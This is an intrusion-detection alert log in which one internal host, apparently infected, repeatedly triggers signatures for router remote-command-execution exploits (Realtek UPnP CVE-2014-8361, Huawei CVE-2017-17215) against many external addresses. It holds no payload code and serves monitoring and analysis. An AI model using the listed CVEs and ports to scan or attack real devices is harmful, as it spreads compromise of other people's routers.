07/20/24-23:01:03.819275	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60586	52869	192.168.2.23	13.188.89.36
07/20/24-23:01:42.574571	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36666	52869	192.168.2.23	54.250.222.170
07/20/24-23:01:42.935667	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33366	52869	192.168.2.23	37.165.17.202
07/20/24-23:01:52.487978	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52836	52869	192.168.2.23	101.35.135.206
07/20/24-23:01:48.187360	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38882	52869	192.168.2.23	118.191.35.155
07/20/24-23:00:57.222029	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58950	37215	192.168.2.23	197.71.207.159
07/20/24-23:01:44.640160	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56874	52869	192.168.2.23	50.88.74.31
07/20/24-23:01:53.387026	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56040	52869	192.168.2.23	138.65.97.97
07/20/24-23:01:56.400580	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43012	52869	192.168.2.23	201.180.13.92
07/20/24-23:01:41.426681	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37400	52869	192.168.2.23	64.123.182.34
07/20/24-23:01:45.370481	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56636	52869	192.168.2.23	130.200.160.126
07/20/24-23:01:04.798513	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47786	52869	192.168.2.23	115.225.187.157
07/20/24-23:01:07.018425	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41338	37215	192.168.2.23	41.94.23.218
07/20/24-23:01:03.060799	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60402	52869	192.168.2.23	14.23.231.227
07/20/24-23:01:51.888686	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35966	52869	192.168.2.23	116.126.39.243
07/20/24-23:01:43.528108	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51436	52869	192.168.2.23	203.13.28.171
07/20/24-23:01:00.645051	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46822	37215	192.168.2.23	157.249.16.252
07/20/24-23:01:08.556166	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36780	52869	192.168.2.23	27.254.228.216
07/20/24-23:01:31.312614	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43754	52869	192.168.2.23	75.178.59.59
07/20/24-23:01:21.909111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54320	37215	192.168.2.23	197.36.30.205
07/20/24-23:01:20.098209	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36964	37215	192.168.2.23	197.39.168.92
07/20/24-23:01:42.687128	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38200	52869	192.168.2.23	168.18.159.220
07/20/24-23:01:00.636533	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41368	37215	192.168.2.23	157.229.17.57
07/20/24-23:01:21.943544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40920	37215	192.168.2.23	87.221.31.50
07/20/24-23:01:24.612014	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46950	52869	192.168.2.23	77.157.20.139
07/20/24-23:01:42.979245	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33440	52869	192.168.2.23	43.122.229.51
07/20/24-23:01:43.013771	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52668	52869	192.168.2.23	147.169.170.137
07/20/24-23:01:46.069088	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40866	52869	192.168.2.23	65.170.62.168
07/20/24-23:01:31.331820	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36730	52869	192.168.2.23	212.202.137.63
07/20/24-23:01:52.914136	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40474	52869	192.168.2.23	23.141.254.89
07/20/24-23:01:08.595072	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58938	52869	192.168.2.23	166.7.60.196
07/20/24-23:01:43.071126	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44716	52869	192.168.2.23	166.254.78.153
07/20/24-23:01:08.659435	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52074	52869	192.168.2.23	132.182.11.252
07/20/24-23:00:59.213564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44552	37215	192.168.2.23	41.216.133.169
07/20/24-23:01:42.165780	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51498	52869	192.168.2.23	39.181.131.100
07/20/24-23:01:02.113054	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44984	37215	192.168.2.23	197.81.4.61
07/20/24-23:01:12.852602	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40150	52869	192.168.2.23	27.116.111.15
07/20/24-23:01:47.614619	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50834	52869	192.168.2.23	41.199.13.54
07/20/24-23:01:40.307219	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37866	37215	192.168.2.23	90.71.230.151
07/20/24-23:01:34.046616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41740	37215	192.168.2.23	197.7.45.224
07/20/24-23:01:08.607816	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45074	52869	192.168.2.23	177.27.5.34
07/20/24-23:01:34.050313	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37428	37215	192.168.2.23	218.167.11.105
07/20/24-23:01:31.316196	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59750	52869	192.168.2.23	186.254.145.51
07/20/24-23:02:20.433035	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54366	52869	192.168.2.23	80.255.88.144
07/20/24-23:01:53.625101	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45762	52869	192.168.2.23	122.78.135.79
07/20/24-23:02:20.433034	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36142	52869	192.168.2.23	221.47.181.83
07/20/24-23:01:03.416441	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48310	52869	192.168.2.23	12.208.124.228
07/20/24-23:02:20.410049	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38492	52869	192.168.2.23	24.105.77.87
07/20/24-23:01:12.806839	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58376	52869	192.168.2.23	183.125.8.233
07/20/24-23:01:47.979559	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36320	52869	192.168.2.23	60.59.133.184
07/20/24-23:01:43.141970	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48684	52869	192.168.2.23	77.216.216.160
07/20/24-23:01:20.149798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60438	37215	192.168.2.23	197.121.187.182
07/20/24-23:01:14.284488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60452	37215	192.168.2.23	157.13.148.173
07/20/24-23:01:58.474391	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54626	52869	192.168.2.23	184.89.50.234
07/20/24-23:01:57.914113	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36066	52869	192.168.2.23	20.176.201.90
07/20/24-23:01:42.612597	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50022	52869	192.168.2.23	198.228.131.204
07/20/24-23:01:44.839991	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49784	52869	192.168.2.23	48.216.224.125
07/20/24-23:01:46.453936	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57814	52869	192.168.2.23	193.184.52.222
07/20/24-23:01:40.291616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41636	37215	192.168.2.23	197.40.0.63
07/20/24-23:01:59.296959	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58156	52869	192.168.2.23	39.202.167.253
07/20/24-23:01:48.089365	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56670	52869	192.168.2.23	13.253.184.187
07/20/24-23:01:49.412594	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37478	52869	192.168.2.23	20.158.48.199
07/20/24-23:00:59.158278	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46354	37215	192.168.2.23	84.167.140.65
07/20/24-23:01:44.838946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47026	52869	192.168.2.23	169.196.10.52
07/20/24-23:01:12.807585	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55898	52869	192.168.2.23	85.213.237.39
07/20/24-23:01:46.444461	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58180	52869	192.168.2.23	170.132.161.86
07/20/24-23:01:44.996260	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58652	52869	192.168.2.23	50.61.91.2
07/20/24-23:01:47.413068	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48138	52869	192.168.2.23	94.8.52.195
07/20/24-23:01:31.327808	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52150	52869	192.168.2.23	38.122.84.31
07/20/24-23:00:59.194576	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57576	37215	192.168.2.23	197.244.173.225
07/20/24-23:01:52.684763	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35248	52869	192.168.2.23	17.121.90.69
07/20/24-23:01:45.095767	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35972	52869	192.168.2.23	210.199.180.209
07/20/24-23:01:55.105161	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40212	52869	192.168.2.23	129.221.8.145
07/20/24-23:02:34.610209	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53550	52869	192.168.2.23	129.68.201.164
07/20/24-23:01:41.156801	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52004	52869	192.168.2.23	80.2.7.209
07/20/24-23:01:57.429251	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40982	52869	192.168.2.23	206.37.245.255
07/20/24-23:02:04.052371	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40874	52869	192.168.2.23	13.96.238.187
07/20/24-23:01:44.706302	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58266	52869	192.168.2.23	163.47.80.71
07/20/24-23:01:42.660847	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40084	52869	192.168.2.23	79.42.102.158
07/20/24-23:01:24.943244	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42238	37215	192.168.2.23	197.88.128.116
07/20/24-23:01:47.163877	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33238	52869	192.168.2.23	175.15.219.89
07/20/24-23:01:04.040812	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60340	37215	192.168.2.23	41.218.114.123
07/20/24-23:01:34.053062	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35306	37215	192.168.2.23	41.171.1.73
07/20/24-23:01:58.301558	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48106	52869	192.168.2.23	167.172.23.251
07/20/24-23:02:06.689806	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41968	52869	192.168.2.23	35.30.208.203
07/20/24-23:01:46.512162	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45772	52869	192.168.2.23	179.32.230.224
07/20/24-23:01:27.650975	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57578	37215	192.168.2.23	197.47.237.221
07/20/24-23:01:42.129029	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34930	52869	192.168.2.23	155.71.120.47
07/20/24-23:01:42.699598	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45996	52869	192.168.2.23	219.124.32.18
07/20/24-23:01:45.370481	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53044	52869	192.168.2.23	34.173.234.248
07/20/24-23:01:48.133778	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56752	52869	192.168.2.23	195.45.218.64
07/20/24-23:01:04.094795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46804	37215	192.168.2.23	157.148.30.140
07/20/24-23:01:20.110861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48034	37215	192.168.2.23	157.180.152.242
07/20/24-23:01:47.990801	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40110	52869	192.168.2.23	129.221.8.145
07/20/24-23:01:52.582295	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54232	52869	192.168.2.23	129.189.126.127
07/20/24-23:01:06.991143	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39806	37215	192.168.2.23	197.25.151.108
07/20/24-23:01:00.634165	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60608	37215	192.168.2.23	41.222.48.132
07/20/24-23:01:34.060991	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47632	37215	192.168.2.23	157.1.189.223
07/20/24-23:01:42.812448	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43362	52869	192.168.2.23	119.167.95.17
07/20/24-23:01:09.002255	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59450	52869	192.168.2.23	5.1.90.206
07/20/24-23:01:44.996260	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55994	52869	192.168.2.23	219.230.144.186
07/20/24-23:01:42.522141	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38482	52869	192.168.2.23	93.78.34.12
07/20/24-23:01:52.244347	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34198	52869	192.168.2.23	72.2.201.225
07/20/24-23:01:43.697010	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40076	52869	192.168.2.23	138.38.220.62
07/20/24-23:01:52.285243	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36866	52869	192.168.2.23	96.119.211.11
07/20/24-23:01:24.498942	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42546	52869	192.168.2.23	89.183.176.41
07/20/24-23:00:59.161892	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32798	37215	192.168.2.23	157.71.150.37
07/20/24-23:01:46.176757	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47606	52869	192.168.2.23	220.91.249.28
07/20/24-23:01:08.667512	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58964	52869	192.168.2.23	107.75.193.125
07/20/24-23:01:47.918473	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38286	52869	192.168.2.23	130.218.184.181
07/20/24-23:01:11.636425	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39794	37215	192.168.2.23	197.250.145.46
07/20/24-23:00:59.175742	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37622	37215	192.168.2.23	196.108.213.184
07/20/24-23:01:52.914137	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53636	52869	192.168.2.23	155.185.16.155
07/20/24-23:01:34.045143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47788	37215	192.168.2.23	41.244.254.171
07/20/24-23:01:34.045749	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48766	37215	192.168.2.23	197.84.25.49
07/20/24-23:01:44.302645	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36906	52869	192.168.2.23	181.21.97.146
07/20/24-23:01:54.940318	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46312	52869	192.168.2.23	218.205.210.219
07/20/24-23:01:08.691384	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47380	52869	192.168.2.23	130.190.148.15
07/20/24-23:01:57.747300	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40012	52869	192.168.2.23	134.89.250.200
07/20/24-23:01:43.571815	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57584	52869	192.168.2.23	157.210.162.125
07/20/24-23:01:54.898102	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49404	52869	192.168.2.23	104.83.225.175
07/20/24-23:01:47.604425	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37388	52869	192.168.2.23	42.29.184.117
07/20/24-23:01:42.800583	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41092	52869	192.168.2.23	167.73.249.89
07/20/24-23:01:20.592206	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34798	52869	192.168.2.23	144.166.152.235
07/20/24-23:01:11.630627	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50484	37215	192.168.2.23	157.230.27.28
07/20/24-23:01:31.328855	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33584	52869	192.168.2.23	100.45.46.163
07/20/24-23:01:12.841280	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43428	52869	192.168.2.23	2.221.152.25
07/20/24-23:01:25.379759	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51148	52869	192.168.2.23	38.122.84.31
07/20/24-23:01:34.062277	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35574	37215	192.168.2.23	157.190.228.200
07/20/24-23:01:43.874054	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60092	52869	192.168.2.23	132.191.84.86
07/20/24-23:01:21.909111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48624	37215	192.168.2.23	41.106.80.160
07/20/24-23:02:07.984371	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35942	52869	192.168.2.23	157.76.157.173
07/20/24-23:01:43.938688	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37094	52869	192.168.2.23	183.223.8.125
07/20/24-23:01:43.121284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43794	52869	192.168.2.23	161.25.16.6
07/20/24-23:01:02.054387	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60490	37215	192.168.2.23	94.167.167.154
07/20/24-23:01:08.630327	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55212	52869	192.168.2.23	86.74.227.91
07/20/24-23:01:58.083668	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39426	52869	192.168.2.23	210.6.211.62
07/20/24-23:01:34.046616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60340	37215	192.168.2.23	157.123.163.220
07/20/24-23:01:08.632574	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41520	52869	192.168.2.23	4.114.3.131
07/20/24-23:01:20.597058	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40540	52869	192.168.2.23	207.246.209.117
07/20/24-23:01:47.474975	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48700	52869	192.168.2.23	88.171.168.15
07/20/24-23:02:11.700204	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38574	52869	192.168.2.23	47.13.214.247
07/20/24-23:01:12.806839	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35888	52869	192.168.2.23	60.92.43.190
07/20/24-23:01:44.611556	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43152	52869	192.168.2.23	128.114.73.170
07/20/24-23:02:43.591633	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33168	52869	192.168.2.23	205.251.62.147
07/20/24-23:01:20.597058	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44578	52869	192.168.2.23	36.168.150.31
07/20/24-23:01:50.848726	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55424	52869	192.168.2.23	100.28.35.63
07/20/24-23:01:53.064325	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54512	52869	192.168.2.23	158.140.216.184
07/20/24-23:01:45.547484	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53402	52869	192.168.2.23	34.139.90.241
07/20/24-23:01:58.208327	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50512	52869	192.168.2.23	125.12.65.53
07/20/24-23:01:44.926055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36816	52869	192.168.2.23	140.59.54.38
07/20/24-23:01:54.569234	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54596	52869	192.168.2.23	206.56.63.93
07/20/24-23:01:20.599458	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37604	52869	192.168.2.23	105.36.101.44
07/20/24-23:01:27.653309	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51724	37215	192.168.2.23	1.38.182.72
07/20/24-23:02:40.696155	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40442	52869	192.168.2.23	5.105.178.105
07/20/24-23:01:42.662837	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42730	52869	192.168.2.23	51.186.28.39
07/20/24-23:01:50.794251	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50094	52869	192.168.2.23	87.83.8.136
07/20/24-23:01:42.706162	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49040	52869	192.168.2.23	105.187.39.89
07/20/24-23:01:58.364551	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55070	52869	192.168.2.23	63.226.8.25
07/20/24-23:01:44.469580	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58956	52869	192.168.2.23	57.145.129.242
07/20/24-23:01:08.903232	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54976	52869	192.168.2.23	164.189.55.135
07/20/24-23:01:42.509004	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42880	52869	192.168.2.23	85.101.71.143
07/20/24-23:01:42.010169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42946	52869	192.168.2.23	190.248.52.121
07/20/24-23:01:43.994703	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40006	52869	192.168.2.23	42.169.174.111
07/20/24-23:01:04.751333	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49320	52869	192.168.2.23	154.97.74.140
07/20/24-23:01:42.033190	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45472	52869	192.168.2.23	50.3.243.177
07/20/24-23:01:04.977217	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59800	52869	192.168.2.23	164.251.43.137
07/20/24-23:01:02.113054	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35672	37215	192.168.2.23	157.106.83.239
